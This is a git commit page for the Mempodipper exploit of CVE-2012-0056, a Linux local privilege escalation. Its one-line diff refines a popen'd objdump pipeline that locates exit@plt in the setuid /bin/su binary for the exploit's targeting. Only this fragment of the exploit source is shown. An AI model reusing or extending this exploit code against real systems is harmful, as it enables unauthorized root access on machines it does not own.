diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-23 14:58:19 +0100 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-23 14:58:19 +0100 |
commit | 49174152d57ffc2fb7ab56b91211a3a0f78fbabb (patch) | |
tree | 5112e1d4c1ca7f3be31b6ad73fa0170bcb683431 /mempodipper.c | |
parent | Consistancy (diff) | |
download | CVE-2012-0056-49174152d57ffc2fb7ab56b91211a3a0f78fbabb.tar.xz CVE-2012-0056-49174152d57ffc2fb7ab56b91211a3a0f78fbabb.zip |
More specific search.
Diffstat (limited to 'mempodipper.c')
-rw-r--r-- | mempodipper.c | 2 |
1 files changed, 1 insertions, 1 deletions
diff --git a/mempodipper.c b/mempodipper.c index fcd9340..fccc253 100644 --- a/mempodipper.c +++ b/mempodipper.c @@ -136,7 +136,7 @@ int main(int argc, char **argv) else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. - FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); + FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); |